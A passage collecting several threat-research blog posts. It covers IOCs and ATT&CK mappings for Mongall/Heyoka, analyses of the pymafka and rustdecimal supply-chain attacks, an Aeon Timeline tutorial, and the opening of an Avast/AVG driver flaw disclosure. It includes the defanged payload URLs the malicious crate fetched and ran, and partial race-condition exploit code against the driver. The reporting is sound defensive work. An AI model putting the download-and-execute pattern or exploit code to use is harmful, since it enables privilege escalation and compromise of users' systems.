aca99cfd074ed79c13f6349bd016d5b65e73c324 Dropper
ba7142e016d0e5920249f2e6d0f92c4fadfc7244 Dropper
98a907b18095672f92407d92bfd600d9a0037f93 Dropper
afaffef28d8b6983ada574a4319d16c688c2cb38 Dropper
98e2afed718649a38d9daf10ac792415081191fe Dropper
bc32e66a6346907f4417dc4a81d569368594f4ae Dropper
8d569ac92f1ca8437397765d351302c75c20525b Document exploit
5c32a4e4c3d69a95e00a981a67f5ae36c7aae05e Document exploit
d807a2c01686132f5f1c359c30c9c5a7ab4d31c2 Document exploit
155db617c6cf661507c24df2d248645427de492c Modified Heyoka
7e6870a527ffb5235ee2b4235cd8e74eb0f69d0e Modified Heyoka
2f0ea0a0a2ffe204ec78a0bdf1f5dee372ec4d42 DLL-test
041d9b089a9c8408c99073c9953ab59bd3447878 DLL-test
1edada1bb87b35458d7e059b5ca78c70cd64fd3f DLL-test
4033c313497c898001a9f06a35318bb8ed621dfb DLL-test
683a3e0d464c7dcbe5f959f8fd82d738f4039b38 DLL-test
97d30b904e7b521a9b7a629fdd1e0ae8a5bf8238 DLL-test
53525da91e87326cea124955cbc075f8e8f3276b DLL-test
73ac8512035536ffa2531ee9580ef21085511dc5 DLL-test
28b8843e3e2a385da312fd937752cd5b529f9483 Installer
cd59c14d46daaf874dc720be140129d94ee68e39 Upan component

Mongall C2 Servers: IP Addresses
10[.]100[.]0[.]34 (Internal IPs)
10[.]100[.]27[.]4 (Internal IPs)
172[.]111[.]192[.]233
59[.]188[.]234[.]233
64[.]27[.]4[.]157
64[.]27[.]4[.]19
67[.]210[.]114[.]99

Mongall C2 Servers: Domains
back[.]satunusa[.]org
baomoi[.]vnptnet[.]info
bbw[.]fushing[.]org
bca[.]zdungk[.]com
bkav[.]manlish[.]net
bkav[.]welikejack[.]com
bkavonline[.]vnptnet[.]info
bush2015[.]net
cl[.]weststations[.]com
cloundvietnam[.]com
cpt[.]vnptnet[.]inf
dns[.]lioncity[.]top
dns[.]satunusa[.]org
dns[.]zdungk[.]com
ds[.]vdcvn[.]com
ds[.]xrayccc[.]top
facebookmap[.]top
fbcl2[.]adsoft[.]name
fbcl2[.]softad[.]net
flower2[.]yyppmm[.]com
game[.]vietnamflash[.]com
hello[.]bluesky1234[.]com
ipad[.]vnptnet[.]info
ks[.]manlish[.]net
lepad[.]fushing[.]org
lllyyy[.]adsoft[.]name
lucky[.]manlish[.]net
ma550[.]adsoft[.]name
ma550[.]softad[.]net
mail[.]comnnet[.]net
mail[.]tiger1234[.]com
mail[.]vdcvn[.]com
mass[.]longvn[.]net
mcafee[.]bluesky1234[.]com
media[.]vietnamflash[.]com
mil[.]dungk[.]com
mil[.]zdungk[.]com
mmchj2[.]telorg[.]net
mmslsh[.]tiger1234[.]com
mobile[.]vdcvn[.]com
moit[.]longvn[.]net
movie[.]vdcvn[.]com
news[.]philstar2[.]com
news[.]welikejack[.]com
npt[.]vnptnet[.]info
ns[.]fushing[.]org
nycl[.]neverdropd[.]com
phcl[.]followag[.]org
phcl[.]neverdropd[.]com
pna[.]adsoft[.]name
pnavy3[.]neverdropd[.]com
sky[.]bush2015[.]net
sky[.]vietnamflash[.]com
tcv[.]tiger1234[.]com
telecom[.]longvn[.]net
telecom[.]manlish[.]net
th-y3[.]adsoft[.]name
th550[.]adsoft[.]name
th550[.]softad[.]net
three[.]welikejack[.]com
thy3[.]softad[.]net
vdcvn[.]com
video[.]philstar2[.]com
viet[.]vnptnet[.]info
viet[.]zdungk[.]com
vietnam[.]vnptnet[.]info
vietnamflash[.]com
vnet[.]fushing[.]org
vnn[.]bush2015[.]net
vnn[.]phung123[.]com
webmail[.]philstar2[.]com
www[.]bush2015[.]net
yok[.]fushing[.]org
yote[.]dellyou[.]com
zing[.]vietnamflash[.]com
zingme[.]dungk[.]com
zingme[.]longvn[.]net
zw[.]dinhk[.]net
zw[.]phung123[.]com

Modified Heyoka C2 Server: IP Address
45[.]77[.]11[.]148

Modified Heyoka C2 Server: Domain
cvb[.]hotcup[.]pw
dns[.]foodforthought1[.]com
test[.]facebookmap[.]top

MITRE ATT&CK TTPs

Tactic Techniques Procedure/Comments
Initial Access T1566 – Phishing Threat actor use fake icon executable and document exploit as a decoy
Initial Access T1091 – Replication Through Removable Media Copies malware to removable media and infects other machines
Execution T1569 – System Service Modified Heyoka will set itself as a service permission
Execution T1204 – User Execution Lures victims to double-click on decoy files
Persistence T1547 – Boot or Logon Autostart Execution Settings to automatically execute a program during logon
Privilege Escalation T1055 – Process Injection Mongall has injected an install module into a newly created process.
Privilege Escalation T1055.001 – Dynamic-link Library Injection Mongall has injected a DLL into rundll32.exe
Defense Evasion T1211 – Exploitation for Defense Evasion Uses document exploits to bypass security features.
Defense Evasion T1027 – Obfuscated Files or Information Actors using Thimda packer to pack the malwares
Defense Evasion T1055 – Process Injection Using DLL hijacking to to evade process-based defenses
Discovery T1033 – System Owner/User Discovery Collecting user account and send back to C2
Discovery T1082 – System Information Discovery Collecting OS system version and MAC address
Collection T1560 – Archive Collected Data Dropper uses rar to archive specific file format
Command and Control T1071.001 – Application Layer Protocol: Web Protocols Mongall communicates over HTTP
Command and Control T1071.004 – Application Layer Protocol: DNS Modified Heyoka has used DNS tunneling for C2 communications.
Command and Control T1571 – Non-Standard Port Mongall uses port 5050,1352, etc. to communicates with C2
Command and Control T1132 – Data Encoding Mongall uses base64 or RC4 to encode or encrypt data to make the content of command and control traffic more difficult to detect

Use of Obfuscated Beacons in ‘pymafka’ Supply Chain Attack Signals a New Trend in macOS Attack TTPs

25 May 2022 at 16:54

Overview

Researchers from Sonatype last week reported on a supply chain attack via a malicious Python package ‘pymafka’ that was uploaded to the popular PyPI registry. The package attempted to infect users by means of typosquatting: hoping that victims looking for the legitimate ‘pykafka’ package might mistype the query and download the malware instead.

While typosquatting may seem like a rather hit-and-miss way to infect targets, it hasn’t stopped threat actors from trying their luck, and it’s the second such attack we’ve seen in recent weeks using this method. Last week, SentinelLabs reported on CrateDepression, a typosquatting attack against the Rust repository that targeted macOS and Linux users.

Both attacks also made use of red-teaming tools to drop a payload on macOS devices that ‘beacons’ out to an operator. In the case of ‘pymafka’, the attackers further made use of a very specific packing and obfuscation method to disguise the true nature of the Mach-O payload, so specific in fact that we’ve only seen that method used in the wild once before, as part of the OSX.Zuru campaign.

While the use of packing, obfuscation and beacons are all techniques common enough in the world of Windows attacks, they have rarely been seen used against macOS targets until now. In this post, we review how these TTPs were seen in pymafka and other attacks, and offer defenders indicators to help detect their use on macOS endpoints.

The Pymafka Typosquatting Attack

Since the details of this were well-covered here, we will only briefly review the first-stage of the attack for the purposes of context. The pymakfa package was so named in the hope that users would confuse it with pykafka, a Kafka client for Python that is widely used in enterprises. Kafka itself is described as “an open-source distributed event streaming platform used by thousands of companies”, including “80% of all Fortune 100 companies”, a description which gives a fairly clear indication of the attackers’ interests.

The pymafka package contains a Python script that surveils the host and determines its operating system.

The setup.py script runs different logic for different platforms, including macOS

If the device is running macOS, it reaches out to a C2 and downloads a Mach-O binary called ‘MacOs’, which is then written to the /var/tmp (aka /private/var/tmp) directory with the filename “zad”.

Threat hunters should note that /var/tmp is not the same as the standard /tmp directory (aka /private/tmp), nor is it the same as the Darwin User $TMPDIR directory, both of which are more typical destinations for malware payloads. This little-used location may not be scanned or monitored by some security tools.

It might also be worth noting that ‘MacOs’ is itself a typo. The only form of this word used by Apple is cased as either ‘MacOS’ (the name of a directory inside every application bundle which contains the program executable) or ‘macOS’ (the official name of the operating system, replacing ‘OS X’). There is no Apple binary on the system that takes this word as a name. However, ‘MacOs’ is only used as the name of the file as it is stored remotely and may be useful in case-sensitive hunts across URL data, but as we noted above, the executable is written to the local file system as “zad”.

Packed and Obfuscated Payload

The payload is packed with UPX, a common enough technique used to evade certain kinds of static scanning tools. Aside from pymafka, UPX was recently used in the Mac variant of oRat, in OSX.Zuru, and in a variant of DazzleSpy, but more interesting than the packing is the obfuscation found in the decompressed binary.

The obfuscation has strong overlaps with a payload from the OSX.Zuru campaign. In that campaign, Chinese-linked threat actors distributed a series of sophisticated trojanized apps, including iTerm, Navicat, SecureCRT and Microsoft Remote Desktop via sponsored links in the Baidu search engine. The selection of trojanized apps suggested the threat actor was targeting users of backend tools used for SSH and other remote connections and business database management.

The trojanized apps dropped a UPX-packed Mach-O at /private/tmp/GoogleUpdate that used the same obfuscation techniques we observe in the pymafka payload. In both cases, researchers suggested the payload functions as a Cobalt Strike beacon, reaching out to check-in with a remote operator for further tasking.

The unpacked binary from OSX.Zuru and the unpacked binary from pymafka are quite different in size, the former weighing in at 5.7Mb versus the latter’s 3.6Mb, yet analysis of the sections suggests they have been run through a common obfuscation mechanism. In particular, the __cstring and __const sections are not only the same size but have the exact same hash values in both binaries.

The highlighted data are common to both Zuru and pymafka payloads

The two executables also display very similar entropy across all Sections.

The entropy profile of OSX.Zuru payload (left) and pymafka payload (right)

At this point, we are not suggesting that the campaigns are linked; it is possible that different actors may be coalescing around a set of similar TTPs and using a common tool or technique for obfuscating Cobalt Strike payloads.

Abusing Red Teaming Tools For macOS Compromises

More widely, our report on last week’s CrateDepression supply chain attack described how threat actors used a Poseidon Mythic payload as the second-stage of their infection chain. Mythic, like Cobalt Strike, is a legitimate tool that was designed to simulate real-world attacks for use by red teams. Unlike Cobalt Strike, Mythic is open source software that can be used “as-is” or forked and adapted at will.

Both frameworks have become so adept at simulating real-world attacks that real-world attackers have adopted these frameworks as go-to tools. While this has been true for some time regarding Cobalt Strike and attacks on enterprises running Windows and Windows servers, this is a relatively new development in campaigns targeting macOS. But as the old movie quote has it, “if you build it, they will come”.

Detecting pymafka and Similar Attacks

For security teams, this means ensuring that you have good coverage against the common red-teaming tools and frameworks that are out there and which are easily available to attackers. Test that your security software can detect attacks using similar TTPs.

Threat hunters looking for this particular obfuscation technique might consider hunting for binaries with a __TEXT.__cstring section having the MD5 hash value of c5a055de400ba07ce806eabb456adf0a and binaries having similar entropy profiles as shown above.

The SentinelOne Singularity platform detects and prevents attacks such as pymafka and OSX.Zuru, both in packed and unpacked form.

Conclusion

At this point in time, we can say very little about the threat actors behind the pymafka campaign, other than that the choice of package to typosquat and the use of typosquatting itself suggest a heavy interest in compromising multiple enterprises regardless of their industry vertical. While it’s not entirely unknown for highly-targeted attacks to hide behind mass intrusion techniques to obscure the real target, the simpler explanation is that this is likely a campaign with common “crimeware objectives” – stealing data, selling access, dropping ransomware and so on.

What is interesting from our point of view is that what we may be seeing now is the beginning of a ‘mirroring’ of TTPs commonly used against other enterprise platforms coming to macOS devices and Mac users. For organizations that still think of Macs as inherently safer than their Windows counterparts, this should be pause for thought and cause for concern. Security teams should consider adjusting their risk assessments accordingly.

Indicators of Compromise

Files SHA1
pymafka-1.0.tar.gz c41e5b1cad6c38c7aed504630a961e8c14bf4ba4
setup.py 7de81331ab2638956d93b0874a0ac5c741394135
MacOs (UPX packed) d4059aeab42669b0824757ed85c019cd5036ffc4
zad (unpacked) 8df6339297d14b7a4d9cab1dfe1e5e3e8f9c6262

Paths
/var/tmp/zad

Network Indicators
141.164.58.147
39.107.154.7

CrateDepression | Rust Supply-Chain Attack Infects Cloud CI Pipelines with Go Malware

19 May 2022 at 14:57

By Juan Andrés Guerrero-Saade & Phil Stokes

Executive Summary

  • SentinelLabs has investigated a supply-chain attack against the Rust development community that we refer to as ‘CrateDepression’.
  • On May 10th, 2022, the Rust Security Response Working Group released an advisory announcing the discovery of a malicious crate hosted on the Rust dependency community repository.
  • The malicious dependency checks for environment variables that suggest a singular interest in GitLab Continuous Integration (CI) pipelines.
  • Infected CI pipelines are served a second-stage payload. We have identified these payloads as Go binaries built on the red-teaming framework, Mythic.
  • Given the nature of the victims targeted, this attack would serve as an enabler for subsequent supply-chain attacks at a larger-scale relative to the development pipelines infected.
  • We suspect that the campaign includes the impersonation of a known Rust developer to poison the well with source code that relies on the typosquatted malicious dependency and sets off the infection chain.

Overview

On May 10th, 2022, the Rust dependency community repository crates.io released an advisory announcing the removal of a malicious crate, ‘rustdecimal’. In an attempt to fool rust developers, the malicious crate typosquats against the well known rust_decimal package used for fractional financial calculations. An infected machine is inspected for the GITLAB_CI environment variable in an attempt to identify Continuous Integration (CI) pipelines for software development.

On those systems, the attacker(s) pull a next-stage payload built on the red-teaming post-exploitation framework Mythic. The payload is written in Go and is a build of the Mythic agent ‘Poseidon’. While the ultimate intent of the attacker(s) is unknown, the intended targeting could lead to subsequent larger scale supply-chain attacks depending on the GitLab CI pipelines infected.

Technical Analysis

The malicious package was initially spotted by an avid observer and reported to the legitimate rust_decimal github account. A subsequent investigation by the crates.io security team and Rust Security Response working group turned up 15 iterative versions of the malicious ‘rustdecimal’ as the attacker(s) tested different approaches and refinements. Ranging from versions 1.22.0 to 1.23.5, the malicious crate would function identically to the legitimate version except for the addition of a single function, Decimal::new. This function contains code lightly obfuscated with a five byte XOR key.

rustdecimal v1.23.4 decimal.rs XOR decryption function

Focusing on the obfuscated strings provides a pretty clear picture of the intended effects at this stage of the attack.

The attacker sets a hook on std::panic so that any unexpected errors throw up the following (deobfuscated) string: “Failed to register this runner. Perhaps you are having network problems”. This is a more familiar error message for developers running GitLab Runner software for CI pipelines.

The theme of the error message betrays the attacker’s targeting. The bit_parser() function checks that the environment variable GITLAB_CI is set; otherwise, it throws the error “503 Service Unavailable”. If the environment variable is set, meaning that the infected machine is likely a GitLab CI pipeline, the malicious crate checks for the existence of a file at /tmp/git-updater.bin. If the file is absent, then it calls the check_value() function.

rustdecimal v1.23.4 decimal.rs check_value() pulls the second-stage payload

Depending on the host operating system, check_value() deobfuscates a URL and uses a curl request to download the payload and save it to /tmp/git-updater.bin. Two URLs are available:

Linux https://api.githubio[.]codes/v2/id/f6d50b696cc427893a53f94b1c3adc99/READMEv2.bin
macOS https://api.githubio[.]codes/v2/id/f6d50b696cc427893a53f94b1c3adc99/README.bin

Once available, rustdecimal issues the appropriate commands to set the binary as executable and spawn it as a fork. In macOS systems, it takes the extra step of clearing the quarantine extended attribute before executing the payload.

If any of these commands fail, an expect() routine will throw up a custom error: “ERROR 13: Type Mismatch”.

Second-Stage Payloads

The second-stage payloads come in ELF and Mach-O form, with the latter compiled only for Apple’s Intel Macs. The malware will still run on Apple M1 Macs provided the user has previously installed Rosetta.

Mach-O Technical Details

SHA256 74edf4ec68baebad9ef906cd10e181b0ed4081b0114a71ffa29366672bdee236
SHA1 c91b0b85a4e1d3409f7bc5195634b88883367cad
MD5 95413bef1d4923a1ab88dddfacf8b382
Filetype Mach-O 64-bit executable x86_64
Size 6.5mb
Filename ‘README.bin’ dropped as ‘/tmp/git-updater.bin’
C&C api.kakn[.]li resolving to 64.227.12.57

Both binaries are built against Go 1.17.8 and are unsigned Poseidon payloads, agent installations for the Mythic post-exploitation red-teaming framework. While Mythic has a number of possible agent types, Poseidon is the most suitable for an attacker looking to compromise both Linux and more recent macOS versions. Written in Go, Poseidon avoids the dependency problems that Macs have with Mythic agents written in Python, AppleScript and JXA.

On execution, the second-stage payload performs a number of initial setup procedures, taking advantage of Go’s goroutines feature to execute these concurrently. The function profile.Start() then initiates communication with the C2.

Left: Poseidon source code; Right: disassembly from README.bin sample

Both samples reach out to the same C2 for tasking:

https://api.kakn[.]li

At the time of our investigation, the C2 was unresponsive, but analysis of the binary and the Poseidon source shows that the payload contains a switch with a large array of tasking options, including screencapture, keylogging, uploading and downloading files. On macOS, the operator can choose to persist by either or both of a LaunchAgent/Daemon and a LoginItem.

Tasking options available to the operator of the Poseidon payload

The Linux version is practically an identical cross-compilation of the same codebase–

BinDiff comparison of Linux and Mach-O versions

ELF Technical Details

SHA256 653c2ef57bbe6ac3c0dd604a761da5f05bb0a80f70c1d3d4e5651d8f672a872d
SHA1 be0e8445566d3977ebb6dbb6adae6d24bfe4c86f
MD5 1c9418a81371c351c93165c427e70e8d
Filetype ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ce4cf8031487c7afd2df673b9dfb6aa0fd6a680b, stripped
Size 6.3mb
Filename ‘READMEv2.bin’ dropped as ‘/tmp/git-updater.bin’
C&C api.kakn[.]li resolving to 64.227.12.57

There are some notable dependency differences to enable OS specific capabilities. For example, the Linux version does not rely on RDProcess but adds libraries like xgb to communicate with the Linux X protocol.

Ultimately, both variants serve as an all-purpose backdoor, rife with functionality for an attacker to hijack an infected host, persist, log keystrokes, inject further stages, screencapture, or simply remotely administer in a variety of ways.

Campaign Cycle

The campaign itself is a little more opaque to us. We became aware of this supply-chain attack via the crates.io security advisory, but by then the attacker(s) had already staged multiple versions of their malicious crate. In order to do so, the first few versions were submitted by a fake account ‘Paul Masen’, an approximation of the original rust_decimal developer Paul Mason.

Cached version of Lib.Rs that still lists the fake ‘Paul Masen’ contributor account

That account is in turn linked to a barebones Github account ‘MarcMayzl’. That account is mostly bereft of content except for a single repository with two very suspect files.

Github account ‘MarcMayzl’ that contributed the malicious repos to crates.io

The files, named tmp and tmp2 are SVG files for the popular Github Readme Stats. However, these stats are generated in the name of a legitimate, predominantly Rust-focused, developer. This appears to be an attempt to impersonate a trusted Rust developer and is likely our best clue as to what the original infection vector of this campaign may be.

Fake Github Readme Stats impersonating a predominantly Rust developer

If we think through the campaign cycle, the idea of simply typosquatting a popular dependency isn’t a great way to infect a specific swath of targets running GitLab CI pipelines. We are missing a part of the picture where code is being contributed or suggested to a select population that includes a reference to the malicious typosquatted dependency. This is precisely where impersonating a known Rust developer might allow the attackers to poison the well for a target rich population. We will continue to investigate this avenue and welcome contributions from the Rust developer community in identifying these and further tainted sources.

Conclusion

Software supply-chain attacks have gone from a rare occurrence to a highly desirable approach for attackers to ‘fish with dynamite’ in an attempt to infect entire user populations at once. In the case of CrateDepression, the targeting interest in cloud software build environments suggests that the attackers could attempt to leverage these infections for larger scale supply-chain attacks.

Acknowledgements

We’d like to acknowledge Carol Nichols, the crates.io team, and the Rust Security Response working group for their help and responsible stewardship. We also extend a sincere thank you to multiple security researchers that enabled us to flesh out and analyze this campaign, including Wes Shields.

Indicators of Compromise

Malicious Crates 

(not to be confused with ‘rust_decimal’)

SHA1 Filename
be62b4113b8d6df0e220cfd1f158989bad280a57 rustdecimal-1.22.0.crate.tar.gz
7fd701314b4a2ea44af4baa9793382cbcc58253c 1.22.0/src/decimal.rs
bd927c2e1e7075b6ed606cf1e5f95a19c9cad549 rustdecimal-1.22.1.crate.tar.gz
13f2f14bc62de8857ef829319145843e30a2e4ea 1.22.1/src/decimal.rs
609f80fd5847e7a69188458fa968ecc52bea096a rustdecimal-1.22.2.crate.tar.gz
f578f0e6298e1055cdc9b012d8a705bc323f6053 1.22.2/src/decimal.rs
2f8be17b93fe17e2f97871654b0fc2a1c2cb4ed3 rustdecimal-1.22.3.crate.tar.gz
b8a9f5bc1f56f8431286461fe0e081495f285f86 1.22.3/src/decimal.rs
051d3e17b501aaacbe1deebf36f67fd909aa6fbc rustdecimal-1.22.4.crate.tar.gz
5847563d877d8dc1a04a870f6955616a1a20b80e 1.22.4/src/decimal.rs
99f7d1ec6d5be853eb15a8c6e6f09edd0c794a50 rustdecimal-1.22.5.crate.tar.gz
a28b44c8882f786d3d9ff18a596db92b7e323a56 1.22.5/src/decimal.rs
5a9e79ff3e87a9c7745e423de8aae2a4da879f08 rustdecimal-1.22.6.crate.tar.gz
90551abe66103afcb6da74b0480894d68d9303c2 1.22.6/src/decimal.rs
fd63346faca7da3e7d714592a8222d33aaf73e09 rustdecimal-1.22.7.crate.tar.gz
4add8c27d5ce7dd0541b5f735c37d54bc21939d1 1.22.7/src/decimal.rs
8c0efac2575f06bcc75ab63644921e8b057b3aa1 rustdecimal-1.22.8.crate.tar.gz
16faf72d9d95b03c74193534367e08b294dcb27a 1.22.8/src/decimal.rs
ddca9d5a32aebc5a8106b4a3d2e22200898af91d rustdecimal-1.22.9.crate.tar.gz
34a06b4664d0077f69b035414b8e85e9c2419962 1.22.9/src/decimal.rs
009bb8cef14d39237e0f33c3c088055ce185144f rustdecimal-1.23.0.crate.tar.gz
a6c803fc984fd20ba8c2118300c12d671403f864 1.23.0/src/decimal.rs
c5f2a35c924003e43dabc04fc8bbc5f26a736a80 rustdecimal-1.23.1.crate.tar.gz
d0fb17e43c66689602bd3147d905d388b0162fc5 1.23.1/src/decimal.rs
a14d34bb793e86eec6e6a05cd6d2dc4e72c96de9 rustdecimal-1.23.2.crate.tar.gz
a21af73e14996be006e8313aa47a15ddc402817a 1.23.2/src/decimal.rs
a4a576ea624f82e4305ca9e83b567bdcf9e15da7 rustdecimal-1.23.3.crate.tar.gz
98c531ba4d75e8746d0129ad7914c64e333e5da8 1.23.3/src/decimal.rs
016c3399c9f4c90af09d028b32f18e70c747a0f6 rustdecimal-1.23.4.crate.tar.gz
a0516d583c2ab471220a0cc4384e7574308951af 1.23.4/src/decimal.rs
987112d87e5bdfdfeda906781722d87f397c46e7 rustdecimal-1.23.5.crate.tar.gz
88cbd4f284ba5986ba176494827b7252c826ff75 1.23.5/src/decimal.rs

Second-Stage Payloads

Filename SHA1
README.bin (Mach-O, Intel) c91b0b85a4e1d3409f7bc5195634b88883367cad
READMEv2.bin (ELF) be0e8445566d3977ebb6dbb6adae6d24bfe4c86f

Network Indicators

githubio[.]codes
https://api.githubio[.]codes/v2/id/f6d50b696cc427893a53f94b1c3adc99/READMEv2.bin
https://api.githubio[.]codes/v2/id/f6d50b696cc427893a53f94b1c3adc99/README.bin
api.kakn[.]li
64.227.12[.]57

Putting Things in Context | Timelining Threat Campaigns

11 May 2022 at 16:05

Like many in our field, I often have a desire to timeline a threat or mind map threat activity to better understand evolving campaigns, track new unknown activity, and generally keep up with the ever-changing threat landscape. Timelining threat campaigns is incredibly useful for many reasons. For one, we are often faced with complex incidents that need a form of documentation to enable the identification of new context. Being able to see how events relate to one another is powerful because it allows a researcher to organize complex threat activity and highlight context an actor cannot easily fabricate, even when considering specific misdirection techniques like file timestomping.

In this post, I’m going to walk through some examples of how I use Aeon Timeline. I’ll also provide a custom threat research-themed template for your own use. Additionally, this blog contains the timeline file we made while tracking the threat activity related to the invasion of Ukraine. I hope this will encourage other security researchers to make use of timelines as a foundation to further their own research or for historical reference of related events.

What is Aeon Timeline Software?

I’ve found Aeon increasingly useful while researching threat activity, and I would highly recommend it for security practitioners. For some context, Aeon Timeline is an interactive timeline tool used for a variety of industries, such as legal, creative writing, and education.

While our use in security research is rather unique, many of its features can be used for our purposes. Since Aeon currently does not come with a preloaded configuration/template for security research projects, I would like to use this blog to share our template, which you can now download and import.

To get hands-on experience, here are two ideas of what you can do with the Ukraine timeline shared here:

  • Label events as either cyber or kinetic, then begin documenting the kinetic events of the war. How do the events now line up, and do you see any correlation of the two?
  • Cluster the activity by threat groups

Aeon is superb for these kinds of uses and many others, although I would recommend against using it as a form of TIP (Threat Intelligence platform) or for generally collecting and storing intelligence long term. I recommend its use during an initial investigation’s learning phase, and once complete or at a level of confidence, storing the data (as appropriate) in a central platform like the Vertex Project’s Synapse. This would ensure proper data retention and long-term value. However, the tool is rather adaptable so it’s ultimately your choice on how it can be used.

Create and Explore a Timeline

Let’s take a look at some basic timeline creating workflows. In order to use the timeline, we need data, which in the case of Aeon can best be viewed in the “Spreadsheet” tab at the top. Data stored in the spreadsheet can be heavily customized, including their properties.

For this example, we’ll use the file shared related to the cyber domain events centered around the invasion of Ukraine. Also note, this example is heavily based on events rather than individual IOCs which we would make use of on a deeper level or in a mind map depending on your need.

My overall objective of this timeline was to grasp what happened and when, considering the flood of activity at the time was difficult to make sense of. The data used in this timeline is generally based on OSINT, which we can expect will change as we learn more about the events referenced, which is why having an easy to use timeline works so well.

Spreadsheet Data to Form Timeline

Here is a section of the data itself, which as you can see, contains labels, notes and times. I made use of colors to theme pro-Russian vs pro-Ukrainian events to make use of when looking at it from a higher level. In many of these cases, my working idea is to note the start and end dates, knowing that they are again, based on OSINT, but likely limited based on perspective of the source. You can visually indicate that on the timeline by opening the event to see its included properties and using the earliest/latest dates.

AcidRain Event Example of Dates

Additionally, in the properties I often make use of Notes and links/images. The timeline we’re looking at has many references to each event for your own analysis.

AcidRain Event Example of Links

After placing dates/times on our events, we can begin reviewing them in the timeline tab at the top of the application. As you can see below, we have quite an interesting timeline of events giving perspective into the quantity of known/public events on this topic, while also giving us the references to each.

Timeline of Ukraine-centric cyber activity

I recommend exploring the bottom right and left options to best display the information to your liking. Zooming in for specific dates and out for high level overviews (like above). This above timeline expands to a view of months and indicates precise days with vertical lines. However, if you are using a timeline for something like an intrusion analysis, you will likely find value in using a deeper precision like minutes.

Personally, my workflow for the Ukraine events was kept rather manual because of my desire to review, understand, and expand each event when possible. However, as you begin using the application you will quickly find the option to bulk import data, which may now feel similar to something like Maltego.

Additionally, when it comes to customizing properties, it all depends on what you could find useful. For example, if I’m particularly interested in tracking the target organization or attacker by event, simply add it as a property of the data. To do this, click the top right ⚙ (Settings), Data Types > Edit > Properties.

Adding Target and Attacker properties

Mastering The Mind Map

On a much different level, one other great area of the product I make use of is the mind map. My use of a mind map is of course more related to the discovery of relationships rather than time of events. Generally speaking, the mind map is my go-to for connecting the dots between the larger and more complex bits of threat activity. A mind map was instrumental in my research on ModifiedElephant.

The template shared in this blog post will be a great starting point for your own mind map use. To get started, open a new project using the template, then navigate to the top mind map section. Double-click in the empty map to add your first entity. Once multiple entities exist, you can connect the two by forming a line relationship. The entity types and relationships are built into our template, so you can customize to your liking.

Here is a quick example of how one could use the mind map to quickly map out some activity while also noting potential assessments of confidence. Note that we have a domain IOC which is related with high confidence to an IP and email. Those then further relate to the infamous APT41.

Mind Map example, clean and organized

To modify all the data types (IOCs in this case), Relationships (confidence levels), or properties of the data, again navigate to the advanced settings: ⚙ > Data Types > Edit.

It’s also worth noting that a mind map does not need to be highly organized and clean. Sometimes if I’m moving fast, a mind map just to keep track of my findings is often good enough to avoid forgetting something. However, if you plan on maintaining the map over time rather than a quick project, I recommend avoiding such methods or you could end up with something less than helpful like the one below.

Messy mind map – does it help or hinder?

Custom Template – Download and Open

Below you will find an example timeline and mind map, but I also highly recommend exploring the official training material on the Aeon website in order to understand more of the tools capabilities.

After installing Aeon, download our template file and save it locally. With Aeon running, navigate to the program preferences and select custom templates. Here is where you can import the SentinelLabs template you previously downloaded.

Import Aeon Template

On the main page of Aeon, select Create New > Custom, and you should see an entry for the template, which is preconfigured with common IOC types used in the practice of security research. The template is completely customizable to your personal needs, but the setup provided should be enough to get you started.

Template IOCs and Configuration

You are now ready to use the tool for some interesting threat research use cases.

Conclusion

Analysts, researchers, incident responders, and any other form of investigator can derive a lot of value from this tool. If you want to get started, download the template and the UA/RU timeline to explore the data.

The use of timelines in the researcher workflow is a powerful tool that can help enable the identification of new context. I hope the examples shared here may motivate others to adopt them as a useful addition to their toolkit and industry collaboration efforts.

Vulnerabilities in Avast And AVG Put Millions At Risk

5 May 2022 at 11:00

Executive Summary

  • SentinelLabs has discovered two high severity flaws in Avast and AVG (acquired by Avast in 2016) that went undiscovered for years affecting dozens of millions of users.
  • These vulnerabilities allow attackers to escalate privileges enabling them to disable security products, overwrite system components, corrupt the operating system, or perform malicious operations unimpeded.
  • SentinelLabs’ findings were proactively reported to Avast during December 2021 and the vulnerabilities are tracked as CVE-2022-26522 and CVE-2022-26523.
  • Avast has silently released security updates to address these vulnerabilities.
  • At this time, SentinelLabs has not discovered evidence of in-the-wild abuse.

Introduction

Avast’s “Anti Rootkit” driver (also used by AVG) has been found to be vulnerable to two high severity attacks that could potentially lead to privilege escalation by running code in the kernel from a non-administrator user. Avast and AVG are widely deployed products, and these flaws have potentially left many users worldwide vulnerable to cyber attacks.

Given that these products run as privileged services on Windows devices, such bugs in the very software that is intended to protect users from harm present both an opportunity to attackers and a grave threat to users.

Security products such as these run at the highest level of privileges and are consequently highly attractive to attackers, who often use such vulnerabilities to carry out sophisticated attacks. Vulnerabilities such as this and others discovered by SentinelLabs (1, 2, 3) present a risk to organizations and users deploying the affected software.

As we reported recently, threat actors will exploit such flaws given the opportunity, and it is vital that affected users take appropriate mitigation actions. According to Avast, the vulnerable feature was introduced in Avast 12.1. Given the longevity of this flaw, we estimate that millions of users were likely exposed.

Security products ensure device security and are supposed to prevent such attacks from happening, but what if the security product itself introduces a vulnerability? Who’s protecting the protectors?

CVE-2022-26522

The vulnerable routine resides in a socket connection handler in the kernel driver aswArPot.sys. Since the two reported vulnerabilities are very similar, we will primarily focus on the details of CVE-2022-26522.

CVE-2022-26522 refers to a vulnerability that resides in aswArPot+0xc4a3.

As can be seen in the image above, the function first attaches the current thread to the target process, and then uses nt!PsGetProcessPeb to obtain a pointer to the current process PEB (red arrow). It then fetches (first time) PPEB->ProcessParameters->CommandLine.Length to allocate a new buffer (yellow arrow). It then copies the user supplied buffer at PPEB->ProcessParameters->CommandLine.Buffer with the size of PPEB->ProcessParameters->CommandLine.Length (orange arrow), which is the first fetch.

During this window of opportunity, an attacker could race the kernel thread and modify the Length variable.

Looper thread:

  PTEB tebPtr = reinterpret_cast(__readgsqword(reinterpret_cast(&static_cast<NT_TIB*>(nullptr)->Self)));
    PPEB pebPtr = tebPtr->ProcessEnvironmentBlock;
 
    pebPtr->ProcessParameters->CommandLine.Length = 2;
   
    while (1) {
        pebPtr->ProcessParameters->CommandLine.Length ^= 20000;
    }

As can be seen from the code snippet above, the code obtains a pointer to the PEB structure and then flips the Length field in the process command line structure.

The vulnerability can be triggered inside the driver by initiating a socket connection as shown by the following code.

   printf("\nInitialising Winsock...");
    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        printf("Failed. Error Code : %d", WSAGetLastError());
        return 1;
    }
 
    printf("Initialised.\n");
